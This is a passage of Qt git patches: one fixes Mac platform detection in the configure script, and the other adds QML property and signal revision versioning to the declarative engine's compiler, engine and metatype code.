    From: Rohan McGovern 
    Date: Thu, 27 Jan 2011 11:42:22 +1000
    Subject: configure: fixed configure on mac.
    
    Broken due to conflict resolution in 5422e929cad04633a06c156cba96cfcd69262522
    
    Since we now support compiling QPA (lighthouse) on Mac, the platform
    logic in configure becomes a bit more complicated.
    ---
     configure | 3 ++-
     1 file changed, 2 insertions(+), 1 deletion(-)
    
    diff --git a/configure b/configure
    index d88e920..1f28146 100755
    --- a/configure
    +++ b/configure
    @@ -187,9 +187,10 @@ fi
     PLATFORM_X11=no
     PLATFORM_QWS=maybe
     PLATFORM_QPA=maybe
    -BUILD_ON_MAC=no;
    +BUILD_ON_MAC=no
     if [ -d /System/Library/Frameworks/Carbon.framework ]; then
         PLATFORM_MAC=maybe
    +    BUILD_ON_MAC=yes
     else
         PLATFORM_MAC=no
     fi
    -- 
    cgit v0.12
    
    
    From d9e4393ef212dba9eeba68277b270d68bcdbc733 Mon Sep 17 00:00:00 2001
    From: Aaron Kennedy 
    Date: Thu, 27 Jan 2011 13:49:12 +1000
    Subject: Implement property versioning inside the declarative engine
    
    Task-number: QTBUG-13451
    ---
     src/declarative/qml/qdeclarativecompileddata.cpp   |  30 ++++
     src/declarative/qml/qdeclarativecompiler.cpp       | 174 +++++++++++++++------
     src/declarative/qml/qdeclarativecompiler_p.h       |   7 +-
     src/declarative/qml/qdeclarativeengine.cpp         | 121 ++++++++++++++
     src/declarative/qml/qdeclarativeengine_p.h         |  37 +++--
     src/declarative/qml/qdeclarativemetatype.cpp       |  76 +++++----
     src/declarative/qml/qdeclarativemetatype_p.h       |   6 +-
     .../qml/qdeclarativeobjectscriptclass.cpp          |  21 +--
     src/declarative/qml/qdeclarativeparser.cpp         |   3 +-
     src/declarative/qml/qdeclarativeparser_p.h         |   2 +
     src/declarative/qml/qdeclarativepropertycache.cpp  |  21 +++
     src/declarative/qml/qdeclarativepropertycache_p.h  |  37 ++++-
     src/declarative/qml/qdeclarativetypeloader.cpp     |   2 +
     src/declarative/qml/qdeclarativetypeloader_p.h     |   4 +-
     src/declarative/qml/qdeclarativevme.cpp            |  15 +-
     src/script/bridge/qscriptdeclarativeclass.cpp      |   5 +
     src/script/bridge/qscriptdeclarativeclass_p.h      |   1 +
     .../qdeclarativeitem/tst_qdeclarativeitem.cpp      |   8 +-
     .../data/allowedRevisionOverloads.qml              |   6 +
     .../data/disallowedRevisionOverloads.errors.txt    |   1 +
     .../data/disallowedRevisionOverloads.qml           |   7 +
     .../data/metaobjectRevision.1.errors.txt           |   2 +-
     .../data/metaobjectRevision.1.qml                  |   1 +
     .../data/metaobjectRevision.2.errors.txt           |   2 +-
     .../data/metaobjectRevision.3.errors.txt           |   2 +-
     .../qdeclarativelanguage/data/revisions10.qml      |   8 -
     .../qdeclarativelanguage/data/revisionssub10.qml   |  10 --
     .../declarative/qdeclarativelanguage/testtypes.cpp |   2 +
     .../declarative/qdeclarativelanguage/testtypes.h   |  12 ++
     .../tst_qdeclarativelanguage.cpp                   |  45 ++----
     .../tst_qdeclarativerepeater.cpp                   |   4 +-
     31 files changed, 494 insertions(+), 178 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
     create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
     create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
     delete mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml
     delete mode 100644 tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml
    
    diff --git a/src/declarative/qml/qdeclarativecompileddata.cpp b/src/declarative/qml/qdeclarativecompileddata.cpp
    index 70cace4..03deea1 100644
    --- a/src/declarative/qml/qdeclarativecompileddata.cpp
    +++ b/src/declarative/qml/qdeclarativecompileddata.cpp
    @@ -171,6 +171,8 @@ QDeclarativeCompiledData::~QDeclarativeCompiledData()
         for (int ii = 0; ii < types.count(); ++ii) {
             if (types.at(ii).component)
                 types.at(ii).component->release();
    +        if (types.at(ii).typePropertyCache)
    +            types.at(ii).typePropertyCache->release();
         }
     
         for (int ii = 0; ii < propertyCaches.count(); ++ii) 
    @@ -209,6 +211,34 @@ const QMetaObject *QDeclarativeCompiledData::TypeReference::metaObject() const
         }
     }
     
    +/*!
    +Returns the property cache, if one alread exists.  The cache is not referenced.
    +*/
    +QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::propertyCache() const
    +{
    +    if (type)
    +        return typePropertyCache;
    +    else
    +        return component->rootPropertyCache;
    +}
    +
    +/*!
    +Returns the property cache, creating one if it doesn't already exist.  The cache is not referenced.
    +*/
    +QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::createPropertyCache(QDeclarativeEngine *engine) 
    +{
    +    if (typePropertyCache) {
    +        return typePropertyCache;
    +    } else if (type) {
    +        typePropertyCache = QDeclarativeEnginePrivate::get(engine)->cache(type->metaObject());
    +        typePropertyCache->addref();
    +        return typePropertyCache;
    +    } else {
    +        return component->rootPropertyCache;
    +    }
    +}
    +
    +
     void QDeclarativeCompiledData::dumpInstructions()
     {
         if (!name.isEmpty())
    diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp
    index 8bfc260..a0236c0 100644
    --- a/src/declarative/qml/qdeclarativecompiler.cpp
    +++ b/src/declarative/qml/qdeclarativecompiler.cpp
    @@ -589,6 +589,18 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
                         err = tr( "Element is not creatable.");
                     COMPILE_EXCEPTION(parserRef->refObjects.first(), err);
                 }
    +            
    +            if (ref.type->containsRevisionedAttributes()) {
    +                QDeclarativeError cacheError;
    +                ref.typePropertyCache = 
    +                    QDeclarativeEnginePrivate::get(engine)->cache(ref.type, resolvedTypes.at(ii).minorVersion, cacheError);
    +
    +                if (!ref.typePropertyCache) {
    +                    COMPILE_EXCEPTION(parserRef->refObjects.first(), cacheError.description());
    +                }
    +                ref.typePropertyCache->addref();
    +            }
    +
             } else if (tref.typeData) {
                 ref.component = tref.typeData->compiledData();
             }
    @@ -886,8 +898,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt)
     
     void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
     {
    -    const QDeclarativeCompiledData::TypeReference &tr =
    -        output->types.at(obj->type);
    +    QDeclarativeCompiledData::TypeReference &tr = output->types[obj->type];
         if (tr.type && obj->metatype == &QDeclarativeComponent::staticMetaObject) {
             genComponent(obj);
             return;
    @@ -936,16 +947,10 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
             meta.storeMeta.data = output->indexForByteArray(obj->metadata);
             meta.storeMeta.aliasData = output->indexForByteArray(obj->synthdata);
             meta.storeMeta.propertyCache = output->propertyCaches.count();
    -        // ### Surely the creation of this property cache could be more efficient
    -        QDeclarativePropertyCache *propertyCache = 0;
    -        if (tr.component)
    -            propertyCache = tr.component->rootPropertyCache->copy();
    -        else
    -            propertyCache = enginePrivate->cache(obj->metaObject()->superClass())->copy();
     
    -        propertyCache->append(engine, obj->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
    -                              QDeclarativePropertyCache::Data::IsVMEFunction, 
    -                              QDeclarativePropertyCache::Data::IsVMESignal);
    +        QDeclarativePropertyCache *propertyCache = obj->synthCache;
    +        Q_ASSERT(propertyCache);
    +        propertyCache->addref();
     
             // Add flag for alias properties
             if (!obj->synthdata.isEmpty()) {
    @@ -965,11 +970,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
             output->propertyCaches << propertyCache;
             output->bytecode << meta;
         } else if (obj == unitRoot) {
    -        if (tr.component)
    -            output->rootPropertyCache = tr.component->rootPropertyCache;
    -        else
    -            output->rootPropertyCache = enginePrivate->cache(obj->metaObject());
    -
    +        output->rootPropertyCache = tr.createPropertyCache(engine);
             output->rootPropertyCache->addref();
         }
     
    @@ -1104,15 +1105,7 @@ void QDeclarativeCompiler::genObjectBody(QDeclarativeParser::Object *obj)
                 meta.line = 0;
                 meta.storeMeta.data = output->indexForByteArray(prop->value->metadata);
                 meta.storeMeta.aliasData = output->indexForByteArray(prop->value->synthdata);
    -            meta.storeMeta.propertyCache = output->propertyCaches.count();
    -            // ### Surely the creation of this property cache could be more efficient
    -            QDeclarativePropertyCache *propertyCache =
    -                enginePrivate->cache(prop->value->metaObject()->superClass())->copy();
    -            propertyCache->append(engine, prop->value->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
    -                                  QDeclarativePropertyCache::Data::IsVMEFunction,
    -                                  QDeclarativePropertyCache::Data::IsVMESignal);
    -
    -            output->propertyCaches << propertyCache;
    +            meta.storeMeta.propertyCache = -1;
                 output->bytecode << meta;
             }
     
    @@ -1352,11 +1345,18 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl
         if(name[0] >= 'A' && name[0] <= 'Z')
             name[0] = name[0] - 'A' + 'a';
     
    -    QMetaMethod method = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name);
    -    int sigIdx = method.methodIndex();
    +    bool notInRevision = false;
    +    int sigIdx = indexOfSignal(obj, name, ¬InRevision);
     
         if (sigIdx == -1) {
     
    +        if (notInRevision && -1 == indexOfProperty(obj, prop->name, 0)) {
    +            Q_ASSERT(obj->type != -1);
    +            const QList  &resolvedTypes = unit->resolvedTypes();
    +            const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
    +            COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
    +        }
    +
             // If the "on" name doesn't resolve into a signal, try it as a
             // property.
             COMPILE_CHECK(buildProperty(prop, obj, ctxt));
    @@ -1366,13 +1366,6 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl
             if (prop->value || prop->values.count() != 1)
                 COMPILE_EXCEPTION(prop, tr("Incorrectly specified signal assignment"));
     
    -        if (method.revision() > 0) {
    -            QDeclarativeType *type = output->types.at(obj->type).type;
    -            if (!type->isMethodAvailable(sigIdx, method.revision())) {
    -                COMPILE_EXCEPTION(prop, tr("Signal \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion));
    -            }
    -        }
    -
             prop->index = sigIdx;
             obj->addSignalProperty(prop);
     
    @@ -1412,7 +1405,7 @@ bool QDeclarativeCompiler::doesPropertyExist(QDeclarativeParser::Property *prop,
                 QMetaProperty p = QDeclarativeMetaType::defaultProperty(mo);
                 return p.name() != 0;
             } else {
    -            int idx = mo->indexOfProperty(prop->name.constData());
    +            int idx = indexOfProperty(obj, prop->name);
                 return idx != -1 && mo->property(idx).isScriptable();
             }
         }
    @@ -1473,7 +1466,13 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
                 }
     
             } else {
    -            prop->index = metaObject->indexOfProperty(prop->name.constData());
    +            bool notInRevision = false;
    +            prop->index = indexOfProperty(obj, prop->name, ¬InRevision);
    +            if (prop->index == -1 && notInRevision) {
    +                const QList  &resolvedTypes = unit->resolvedTypes();
    +                const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
    +                COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
    +            }
     
                 if (prop->index != -1) {
                     p = metaObject->property(prop->index);
    @@ -1488,15 +1487,8 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
     
             // We can't error here as the "id" property does not require a
             // successful index resolution
    -        if (p.name()) {
    +        if (p.name()) 
                 prop->type = p.userType();
    -            if (p.revision() > 0) {
    -                QDeclarativeType *type = output->types.at(obj->type).type;
    -                if (!type->isPropertyAvailable(prop->index, p.revision())) {
    -                    COMPILE_EXCEPTION(prop, tr("Property \"%1\" not available in %2 %3.%4").arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type->qmlTypeName())).arg(obj->majorVersion).arg(obj->minorVersion));
    -                }
    -            }
    -        }
     
             // Check if this is an alias
             if (prop->index != -1 && 
    @@ -2430,8 +2422,7 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
         for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
             const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
     
    -        int propIdx =
    -            obj->metaObject()->indexOfProperty(p.name.constData());
    +        int propIdx = obj->metaObject()->indexOfProperty(p.name.constData());
             if (-1 != propIdx) {
                 QMetaProperty prop = obj->metaObject()->property(propIdx);
                 if (prop.isFinal())
    @@ -2616,6 +2607,19 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
     
         obj->synthdata = dynamicData;
     
    +    if (obj->synthCache) {
    +        obj->synthCache->release();
    +        obj->synthCache = 0;
    +    }
    +
    +    if (obj->type != -1) {
    +        QDeclarativePropertyCache *cache = output->types[obj->type].createPropertyCache(engine)->copy();
    +        cache->append(engine, &obj->extObject, QDeclarativePropertyCache::Data::NoFlags,
    +                      QDeclarativePropertyCache::Data::IsVMEFunction, 
    +                      QDeclarativePropertyCache::Data::IsVMESignal);
    +        obj->synthCache = cache;
    +    }
    +
         return true;
     }
     
    @@ -2665,9 +2669,9 @@ static QStringList astNodeToStringList(QDeclarativeJS::AST::Node *node)
     }
     
     bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
    -                               QByteArray &data,
    -                               Object *obj,
    -                               const Object::DynamicProperty &prop)
    +                                        QByteArray &data,
    +                                        Object *obj,
    +                                        const Object::DynamicProperty &prop)
     {
         if (!prop.defaultValue)
             COMPILE_EXCEPTION(obj, tr("No property alias location"));
    @@ -2697,7 +2701,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
         int flags = 0;
         bool writable = false;
         if (alias.count() == 2 || alias.count() == 3) {
    -        propIdx = idObject->metaObject()->indexOfProperty(alias.at(1).toUtf8().constData());
    +        propIdx = indexOfProperty(idObject, alias.at(1).toUtf8());
     
             if (-1 == propIdx) {
                 COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
    @@ -3038,4 +3042,74 @@ QStringList QDeclarativeCompiler::deferredProperties(QDeclarativeParser::Object
         return rv;
     }
     
    +// This code must match the semantics of QDeclarativePropertyPrivate::findSignalByName
    +int QDeclarativeCompiler::indexOfSignal(QDeclarativeParser::Object *object, const QByteArray &name, 
    +                                        bool *notInRevision)
    +{
    +    if (notInRevision) *notInRevision = false;
    +
    +    if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
    +        // XXX fromUtf8
    +        QString strName(QString::fromUtf8(name));
    +        QDeclarativePropertyCache *cache = 
    +            object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
    +
    +        QDeclarativePropertyCache::Data *d = cache->property(strName);
    +        if (notInRevision) *notInRevision = false;
    +
    +        while (d && !(d->flags & QDeclarativePropertyCache::Data::IsFunction))
    +            d = cache->overrideData(d);
    +
    +        if (d && !cache->isAllowedInRevision(d)) {
    +            if (notInRevision) *notInRevision = true;
    +            return -1;
    +        } else if (d) {
    +            return d->coreIndex;
    +        }
    +
    +        if (name.endsWith("Changed")) {
    +            QByteArray propName = name.mid(0, name.length() - 7);
    +
    +            int propIndex = indexOfProperty(object, propName, notInRevision);
    +            if (propIndex != -1) {
    +                d = cache->property(propIndex);
    +                return d->notifyIndex;
    +            }
    +        }
    +
    +        return -1;
    +    } else {
    +        return QDeclarativePropertyPrivate::findSignalByName(object->metaObject(), name).methodIndex();
    +    }
    +
    +}
    +
    +int QDeclarativeCompiler::indexOfProperty(QDeclarativeParser::Object *object, const QByteArray &name, 
    +                                          bool *notInRevision)
    +{
    +    if (notInRevision) *notInRevision = false;
    +
    +    if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
    +        // XXX fromUtf8
    +        QString strName(QString::fromUtf8(name));
    +        QDeclarativePropertyCache *cache = 
    +            object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
    +
    +        QDeclarativePropertyCache::Data *d = cache->property(strName);
    +        // Find the first property
    +        while (d && d->flags & QDeclarativePropertyCache::Data::IsFunction) 
    +            d = cache->overrideData(d);
    +
    +        if (d && !cache->isAllowedInRevision(d)) {
    +            if (notInRevision) *notInRevision = true;
    +            return -1;
    +        } else {
    +            return d?d->coreIndex:-1;
    +        }
    +    } else {
    +        const QMetaObject *mo = object->metaObject();
    +        return mo->indexOfProperty(name.constData());
    +    }
    +}
    +
     QT_END_NAMESPACE
    diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h
    index 5e990e7..93b6a09 100644
    --- a/src/declarative/qml/qdeclarativecompiler_p.h
    +++ b/src/declarative/qml/qdeclarativecompiler_p.h
    @@ -89,14 +89,17 @@ public:
         struct TypeReference 
         {
             TypeReference()
    -        : type(0), component(0) {}
    +        : type(0), typePropertyCache(0), component(0) {}
     
             QByteArray className;
             QDeclarativeType *type;
    +        QDeclarativePropertyCache *typePropertyCache;
             QDeclarativeCompiledData *component;
     
             QObject *createInstance(QDeclarativeContextData *, const QBitField &, QList *) const;
             const QMetaObject *metaObject() const;
    +        QDeclarativePropertyCache *propertyCache() const;
    +        QDeclarativePropertyCache *createPropertyCache(QDeclarativeEngine *);
         };
         QList types;
         struct CustomTypeData
    @@ -277,6 +280,8 @@ private:
         bool canCoerce(int to, QDeclarativeParser::Object *from);
     
         QStringList deferredProperties(QDeclarativeParser::Object *);
    +    int indexOfProperty(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
    +    int indexOfSignal(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
     
         void addId(const QString &, QDeclarativeParser::Object *);
     
    diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
    index 99a098e..e3be599 100644
    --- a/src/declarative/qml/qdeclarativeengine.cpp
    +++ b/src/declarative/qml/qdeclarativeengine.cpp
    @@ -460,6 +460,8 @@ QDeclarativeEnginePrivate::~QDeclarativeEnginePrivate()
             (*iter)->release();
         for(QHash::Iterator iter = propertyCache.begin(); iter != propertyCache.end(); ++iter)
             (*iter)->release();
    +    for(QHash, QDeclarativePropertyCache *>::Iterator iter = typePropertyCache.begin(); iter != typePropertyCache.end(); ++iter)
    +        (*iter)->release();
     
     }
     
    @@ -2207,6 +2209,125 @@ static void *voidptr_constructor(const void *v)
         }
     }
     
    +QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(const QMetaObject *mo)
    +{
    +    Q_Q(QDeclarativeEngine);
    +
    +    if (!mo->superClass()) {
    +        QDeclarativePropertyCache *rv = new QDeclarativePropertyCache(q, mo);
    +        propertyCache.insert(mo, rv);
    +        return rv;
    +    } else {
    +        QDeclarativePropertyCache *super = cache(mo->superClass());
    +        QDeclarativePropertyCache *rv = super->copy();
    +        rv->append(q, mo);
    +        propertyCache.insert(mo, rv);
    +        return rv;
    +    }
    +}
    +
    +QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(QDeclarativeType *type, int minorVersion, 
    +                                                                  QDeclarativeError &error)
    +{
    +    QList types;
    +
    +    int maxMinorVersion = 0;
    +
    +    const QMetaObject *metaObject = type->metaObject();
    +    while (metaObject) {
    +        QDeclarativeType *t = QDeclarativeMetaType::qmlType(metaObject, type->module(), 
    +                                                            type->majorVersion(), minorVersion);
    +        if (t) {
    +            maxMinorVersion = qMax(maxMinorVersion, t->minorVersion());
    +            types << t;
    +        } else {
    +            types << 0;
    +        }
    +
    +        metaObject = metaObject->superClass();
    +    }
    +
    +    if (QDeclarativePropertyCache *c = typePropertyCache.value(qMakePair(type, maxMinorVersion))) {
    +        c->addref();
    +        typePropertyCache.insert(qMakePair(type, minorVersion), c);
    +        return c;
    +    }
    +
    +    QDeclarativePropertyCache *raw = cache(type->metaObject());
    +
    +    bool hasCopied = false;
    +
    +    for (int ii = 0; ii < types.count(); ++ii) {
    +        QDeclarativeType *currentType = types.at(ii);
    +        if (!currentType)
    +            continue;
    +
    +        int rev = currentType->metaObjectRevision();
    +        int moIndex = types.count() - 1 - ii;
    +
    +        if (raw->allowedRevisionCache[moIndex] != rev) {
    +            if (!hasCopied) {
    +                raw = raw->copy();
    +                hasCopied = true;
    +            }
    +            raw->allowedRevisionCache[moIndex] = rev;
    +        }
    +    }
    +
    +    // Test revision compatibility - the basic rule is:
    +    //    * Anything that is excluded, cannot overload something that is not excluded *
    +
    +    // Signals override:
    +    //    * other signals and methods of the same name.
    +    //    * properties named on 
    +    //    * automatic Changed notify signals
    +
    +    // Methods override:
    +    //    * other methods of the same name
    +
    +    // Properties override:
    +    //    * other elements of the same name
    +
    +    bool overloadError = false;
    +    QString overloadName;
    +
    +#if 0
    +    for (QDeclarativePropertyCache::StringCache::ConstIterator iter = raw->stringCache.begin();
    +         !overloadError && iter != raw->stringCache.end();
    +         ++iter) {
    +
    +        QDeclarativePropertyCache::Data *d = *iter;
    +        if (raw->isAllowedInRevision(d))
    +            continue; // Not excluded - no problems
    +
    +        // check that a regular "name" overload isn't happening
    +        QDeclarativePropertyCache::Data *current = d;
    +        while (!overloadError && current) {
    +            current = d->overrideData(current);
    +            if (current && raw->isAllowedInRevision(current)) 
    +                overloadError = true;
    +        }
    +    }
    +#endif
    +
    +    if (overloadError) {
    +        if (hasCopied) raw->release();
    +            
    +        error.setDescription(QLatin1String("Type ") + QString::fromUtf8(type->qmlTypeName()) + QLatin1String(" ") + QString::number(type->majorVersion()) + QLatin1String(".") + QString::number(minorVersion) + QLatin1String(" contains an illegal property \"") + overloadName + QLatin1String("\".  This is an error in the type's implementation."));
    +        return 0;
    +    }
    +
    +    if (!hasCopied) raw->addref();
    +    typePropertyCache.insert(qMakePair(type, minorVersion), raw);
    +
    +    if (minorVersion != maxMinorVersion) {
    +        raw->addref();
    +        typePropertyCache.insert(qMakePair(type, maxMinorVersion), raw);
    +    }
    +
    +    return raw;
    +}
    +
     void QDeclarativeEnginePrivate::registerCompositeType(QDeclarativeCompiledData *data)
     {
         QByteArray name = data->root->className();
    diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h
    index fc996b5..1cc9dc5 100644
    --- a/src/declarative/qml/qdeclarativeengine_p.h
    +++ b/src/declarative/qml/qdeclarativeengine_p.h
    @@ -251,8 +251,12 @@ public:
         QDeclarativeValueTypeFactory valueTypes;
     
         QHash propertyCache;
    +    QHash, QDeclarativePropertyCache *> typePropertyCache;
         inline QDeclarativePropertyCache *cache(QObject *obj);
         inline QDeclarativePropertyCache *cache(const QMetaObject *);
    +    inline QDeclarativePropertyCache *cache(QDeclarativeType *, int, QDeclarativeError &error);
    +    QDeclarativePropertyCache *createCache(const QMetaObject *);
    +    QDeclarativePropertyCache *createCache(QDeclarativeType *, int, QDeclarativeError &error);
     
         void registerCompositeType(QDeclarativeCompiledData *);
     
    @@ -330,19 +334,17 @@ Returns a QDeclarativePropertyCache for \a obj if one is available.
     
     If \a obj is null, being deleted or contains a dynamic meta object 0 
     is returned.
    +
    +The returned cache is not referenced, so if it is to be stored, call addref().
     */
     QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QObject *obj) 
     {
    -    Q_Q(QDeclarativeEngine);
         if (!obj || QObjectPrivate::get(obj)->metaObject || QObjectPrivate::get(obj)->wasDeleted) 
             return 0;
     
         const QMetaObject *mo = obj->metaObject();
         QDeclarativePropertyCache *rv = propertyCache.value(mo);
    -    if (!rv) {
    -        rv = new QDeclarativePropertyCache(q, mo);
    -        propertyCache.insert(mo, rv);
    -    }
    +    if (!rv) rv = createCache(mo);
         return rv;
     }
     
    @@ -352,18 +354,33 @@ Returns a QDeclarativePropertyCache for \a metaObject.
     As the cache is persisted for the life of the engine, \a metaObject must be
     a static "compile time" meta-object, or a meta-object that is otherwise known to 
     exist for the lifetime of the QDeclarativeEngine.
    +
    +The returned cache is not referenced, so if it is to be stored, call addref().
     */
     QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(const QMetaObject *metaObject)
     {
    -    Q_Q(QDeclarativeEngine);
         Q_ASSERT(metaObject);
     
         QDeclarativePropertyCache *rv = propertyCache.value(metaObject);
    -    if (!rv) {
    -        rv = new QDeclarativePropertyCache(q, metaObject);
    -        propertyCache.insert(metaObject, rv);
    -    }
    +    if (!rv) rv = createCache(metaObject);
    +    return rv;
    +}
    +
    +/*!
    +Returns a QDeclarativePropertyCache for \a type with \a minorVersion.
    +
    +The returned cache is not referenced, so if it is to be stored, call addref().
    +*/
    +QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error)
    +{
    +    Q_ASSERT(type);
    +    Q_ASSERT(minorVersion >= 0);
    +
    +    if (!type->containsRevisionedAttributes())
    +        return cache(type->metaObject());
     
    +    QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion));
    +    if (!rv) rv = createCache(type, minorVersion, error);
         return rv;
     }
     
    diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp
    index bdac3d0..4867cc5 100644
    --- a/src/declarative/qml/qdeclarativemetatype.cpp
    +++ b/src/declarative/qml/qdeclarativemetatype.cpp
    @@ -140,6 +140,7 @@ public:
         int m_version_min;
         int m_typeId; int m_listId; 
         int m_revision;
    +    mutable bool m_containsRevisionedAttributes;
         mutable QDeclarativeType *m_superType;
     
         int m_allocationSize;
    @@ -167,10 +168,11 @@ public:
     QHash QDeclarativeTypePrivate::m_attachedPropertyIds;
     
     QDeclarativeTypePrivate::QDeclarativeTypePrivate()
    -: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_superType(0),
    -  m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), m_attachedPropertiesType(0),
    -  m_parserStatusCast(-1), m_propertyValueSourceCast(-1), m_propertyValueInterceptorCast(-1),
    -  m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), m_isSetup(false), m_haveSuperType(false)
    +: m_isInterface(false), m_iid(0), m_typeId(0), m_listId(0), m_revision(0), m_containsRevisionedAttributes(false),
    +  m_superType(0), m_allocationSize(0), m_newFunc(0), m_baseMetaObject(0), m_attachedPropertiesFunc(0), 
    +  m_attachedPropertiesType(0), m_parserStatusCast(-1), m_propertyValueSourceCast(-1), 
    +  m_propertyValueInterceptorCast(-1), m_extFunc(0), m_extMetaObject(0), m_index(-1), m_customParser(0), 
    +  m_isSetup(false), m_haveSuperType(false)
     {
     }
     
    @@ -235,6 +237,11 @@ QDeclarativeType::~QDeclarativeType()
         delete d;
     }
     
    +QByteArray QDeclarativeType::module() const
    +{
    +    return d->m_module;
    +}
    +
     int QDeclarativeType::majorVersion() const
     {
         return d->m_version_maj;
    @@ -270,36 +277,6 @@ QDeclarativeType *QDeclarativeType::superType() const
         return d->m_superType;
     }
     
    -bool QDeclarativeType::isPropertyAvailable(int index, int revision) const
    -{
    -    if (revision == 0)
    -        return true;
    -
    -    if (index < d->m_baseMetaObject->propertyOffset()) {
    -        if (QDeclarativeType *super = superType())
    -            return super->isPropertyAvailable(index, revision);
    -    } else if (index < d->m_baseMetaObject->propertyOffset() + d->m_baseMetaObject->propertyCount()) {
    -        return d->m_revision >= revision;
    -    }
    -
    -    return false;
    -}
    -
    -bool QDeclarativeType::isMethodAvailable(int index, int revision) const
    -{
    -    if (revision == 0)
    -        return true;
    -
    -    if (index < d->m_baseMetaObject->methodOffset()) {
    -        if (QDeclarativeType *super = superType())
    -            return super->isMethodAvailable(index, revision);
    -    } else if (index < d->m_baseMetaObject->methodOffset() + d->m_baseMetaObject->methodCount()) {
    -        return d->m_revision >= revision;
    -    }
    -
    -    return false;
    -}
    -
     static void clone(QMetaObjectBuilder &builder, const QMetaObject *mo, 
                       const QMetaObject *ignoreStart, const QMetaObject *ignoreEnd)
     {
    @@ -413,6 +390,25 @@ void QDeclarativeTypePrivate::init() const
             m_metaObjects[ii].methodOffset =
                 m_metaObjects.at(ii).metaObject->methodOffset();
         }
    +    
    +    // Check for revisioned details
    +    {
    +        const QMetaObject *mo = 0;
    +        if (m_metaObjects.isEmpty())
    +            mo = m_baseMetaObject;
    +        else
    +            mo = m_metaObjects.first().metaObject;
    +
    +        for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->propertyCount(); ++ii) {
    +            if (mo->property(ii).revision() != 0)
    +                m_containsRevisionedAttributes = true;
    +        }
    +
    +        for (int ii = 0; !m_containsRevisionedAttributes && ii < mo->methodCount(); ++ii) {
    +            if (mo->method(ii).revision() != 0)
    +                m_containsRevisionedAttributes = true;
    +        }
    +    }
     
         m_isSetup = true;
         lock.unlock();
    @@ -521,6 +517,18 @@ const QMetaObject *QDeclarativeType::baseMetaObject() const
         return d->m_baseMetaObject;
     }
     
    +bool QDeclarativeType::containsRevisionedAttributes() const
    +{
    +    d->init();
    +
    +    return d->m_containsRevisionedAttributes;
    +}
    +
    +int QDeclarativeType::metaObjectRevision() const
    +{
    +    return d->m_revision;
    +}
    +
     QDeclarativeAttachedPropertiesFunc QDeclarativeType::attachedPropertiesFunction() const
     {
         return d->m_attachedPropertiesFunc;
